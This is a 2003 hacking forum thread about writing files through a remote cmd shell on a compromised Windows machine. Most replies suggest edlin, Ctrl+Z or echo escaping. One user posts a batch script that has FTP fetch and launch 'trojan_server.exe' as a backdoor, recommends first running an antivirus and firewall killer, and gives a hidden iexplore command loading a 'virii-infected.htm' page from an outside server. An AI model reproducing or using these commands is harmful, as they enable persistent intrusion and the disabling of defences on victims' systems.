boshcash
Oct 27 2003, 09:29 PM
Problem : A Client who got a remote cmd shell wants to save a file that contains many special characters , and file transfer is not allowed using ftp or tftp or net share , the only solution is echo or copy con or any command line command i dunno.
Problem with Echoing : Echo doesnt allow some characters (for example more than two " will mess up the whole thing up.
Problem with Copy Con : When using copy con locally , u write copy con c:\file.txt then u write what u wanna write then u press F6 button then enter.
When using it remotely , pressing F6 button won't send the same command that is sent locally so the file cant be ended, Any solution on how to send the F6 key remotely ?
Any help on how to use any other way to write files , so i can send my favoraite vbs, hta or any other text file (please guys don't mention tools to download to server because i dont have a way to do that)
Thankz
boshcash
Oct 30 2003, 08:54 PM
well ctrl+Z probably won't work remotely , it works only locally , same as F6 , any more suggestions , and i didnt try edlin.exe , edlin seems to be a good idea , i will try it thanks , and why dont u understand me , im talking about how to write files with cmd shell ...
snipe
Oct 29 2003, 12:07 PM
dunno exactly what you want, but try alt+26. this will emulate the F6 button
skydance
Oct 29 2003, 05:55 PM
you can use edlin.exe to write files.
SgtRush
Oct 29 2003, 08:08 PM
ctrl z maybe. Never tried it from a remote shell, but it works locally.
Gotisch
Oct 29 2003, 08:22 PM
wouldn't it be possible to use telnet ?
something like
telnet ip port >> software.exe
and on the remote side send the file when a connection is made?
raptor
Oct 29 2003, 10:54 PM
Ctrl+Z works fine for me!!!
raptor
Oct 30 2003, 09:25 PM
i can't see why you need this anyway...
when you get a shell in a remote system do the following...
---------------------------------
@echo off
echo your.server.com 21>z
echo username_on_ftp>>z
echo password>>z
echo BINARY>>z
echo get trojan_server.exe>>z
echo quit>>z
ftp -i -s:z
start trojan_server.exe
---------------------------------
now you have other future backdoor....
----------------------------------
if there is an antivirus or firewall,
or you don't know...
repeat the method twice...
first for an AV/FW killer and then for your trojan....
(there are many undetectable AV/FW killers on google or in downloads section...)
-----------------------------------------------------------------------------------------
boshcash
Oct 31 2003, 02:13 PM
well if ftp method is not working and tftp is not working and net share isnt working , i wanna write my vbs on my cmd shell , thats what i wanna do , is it possible
raptor
Oct 31 2003, 06:40 PM
there's no need to do that...
always ftp works...
and if not then you can make a vbs html and upload it on a server...
then do on remote:
start cmd /k "iexplore.exe
http://ur.server.com/folder/virii-infected.htm",0that 'll open explorer but nothin' will be shown...
TedOb1
Nov 1 2003, 03:51 AM
raptor i think your missing the point. he WANTS to write it in the shell. thats not saying your ways aren't more effective, its just what he wqnts to do.
boshcash i not getting why you can't use echo or edlin. echo fails on long strings of special chars but edlin will handle 256.
C:\>echo """""""" >>my.txt
C:\>type my.txt
""""""""
C:\>edlin my.txt
End of input file
*#I
2:*"""""""""""""""""""""""""""""
3:*!@#$$%%^&*(())_+++==="""""""""""""""""
4:*^C
*E
C:\>type my.txt
""""""""
"""""""""""""""""""""""""""""
!@#$$%%^&*(())_+++==="""""""""""""""""
raptor
Nov 1 2003, 09:59 AM
why don't you try edit ??? (dos notepad...)
boshcash
Nov 2 2003, 05:26 PM
guys u still dont get the point , the remote cmd shell doesnt allow ctrl+c try and see , i will try that iexplore way but where would it download the file

any other wayz ?
agamemnon
Jan 8 2004, 03:47 AM
email.
-ed.
zero-maitimax
Jan 8 2004, 07:49 AM
you could trai a other shell..
boshcash
Jan 8 2004, 11:55 PM
well i had a solution to that problem by echoing , ^(char) to echo a special char , echo line1 >> file.txt , echo line2 >> file.txt to make another line thanks guys anyway ..
LittleHacker
Jan 18 2004, 07:54 PM
It may be possible to use unicede of Ctrl+Z
I didn't test it
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.